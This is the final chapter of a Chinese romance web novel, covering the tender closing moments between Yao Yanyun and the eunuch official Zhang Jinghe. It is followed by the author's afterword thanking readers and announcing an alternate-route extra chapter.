姚砚云是个如太阳一般的女子,炙热,明艳,这两个月里,在她的不断努力之下,让张景和渐渐放下了那些因宦官身份而生的自卑与桎梏,敢在她面前,坦坦荡荡地做回自己。 张景和将她紧紧拥在怀中,唇贴在她耳畔,一遍遍地唤着她的名字: “砚砚,砚砚。” 姚砚云软在他怀里,一声声地应着。 张景和吻着她泛红的耳廓,气息不稳地问:“那你该叫我什么?” 姚砚云此时已经有些意乱情迷,下意识地回了他几句:“景和,我应该叫你景和。” 张景和咬了咬她的唇角,惩罚似的轻斥:“不对。” 她迷蒙着双眼:“张公公” 张景和俯身又往下咬了:“不对。” 姚砚云道:“张……张掌印……” 张景他顿了顿,一字一句:“不对,你应该叫我夫君。” 姚砚云心头一颤,望着他眼底翻涌的情意,脸颊烧得滚烫:“夫君” 丑时末的梆子声刚敲过最后一响,张景和便醒了。今日要入宫当值,他怕惊扰了枕边人,连起身都放轻了手脚。 昨晚两人折腾得太久太晚,他其实没合过多少时辰的眼,此刻只觉眼皮发沉,若非记挂着差事,险些便要睡过头。 正待更衣出门,窗外忽然响起哗啦啦的雨声,谁知不过片刻光景,雨势骤然转急,竟成了瓢泼大雨,行路实在不便,张景和只得暂且作罢,转身去了前厅。 他歪在榻上,本想眯上一刻钟,谁知合眼便坠入了梦魇。梦里他不知犯了什么错,惹得姚砚云红着眼眶转身就走,说要投奔芸娘去,任他在身后如何声嘶力竭地哀求,她都不曾回头。 惊悸之下,张景和猛地睁开眼,额上已满是冷汗,身子一歪,险些从榻上滚落。他扶着榻沿喘了半晌,才慢慢回过神来。 幸好,只是一场梦。 恰在此时,门外传来吉祥的叩门声:“老爷,雨停了,咱们这就动身吗?” 张景和定了定神:“走吧。” 临行前,他又折回了寝室。 帐幔半垂,姚砚云睡得香甜,两条腿蛮横地夹着被子,睡相实在说不上端庄。他说过她几次,睡觉要有睡觉的仪态。可她每次都笑嘻嘻地回嘴,说睡觉本就是为了舒坦,何苦拘着规矩。 是了,睡觉本就是为了舒坦,如今还觉得她这样有些可爱呢。 他放轻脚步凑近,俯身看着熟睡的她,听着她均匀绵长的呼吸声,眼睫轻轻颤动。 这一瞬他觉得好幸福,一种无法言说的幸福。 心中感慨:不知道修了几辈子的福气,才能遇到她这样好的人,老天爷对他也太好了吧! ——全文完———— 作者有话说:正文到这里就完结了,晚上会开始更一条if线。 谢谢这段时间大家的支持,写的故事有人看,还能赚点零花钱,这种感觉真的太好了! 我想起徐先哲之前连载镖人时说的一段话,一开始大概是开心激动兴奋,后面真的到了连载的时候,简直是地狱。 那时候我还没签约晋江,没明白他话的意思,后面自己来写,才知道这个连载有多要命哈哈哈。 好在谢天谢地,终于写完了!每次看到你们评论某个情节的时候,我都会点进去反复看,看到自己写的东西被人喜欢,被人感同身受,真的开心的不得了哈哈哈哈。 谢谢大家喜欢小云和张公公!!! 晚安晚安,睡了。《 》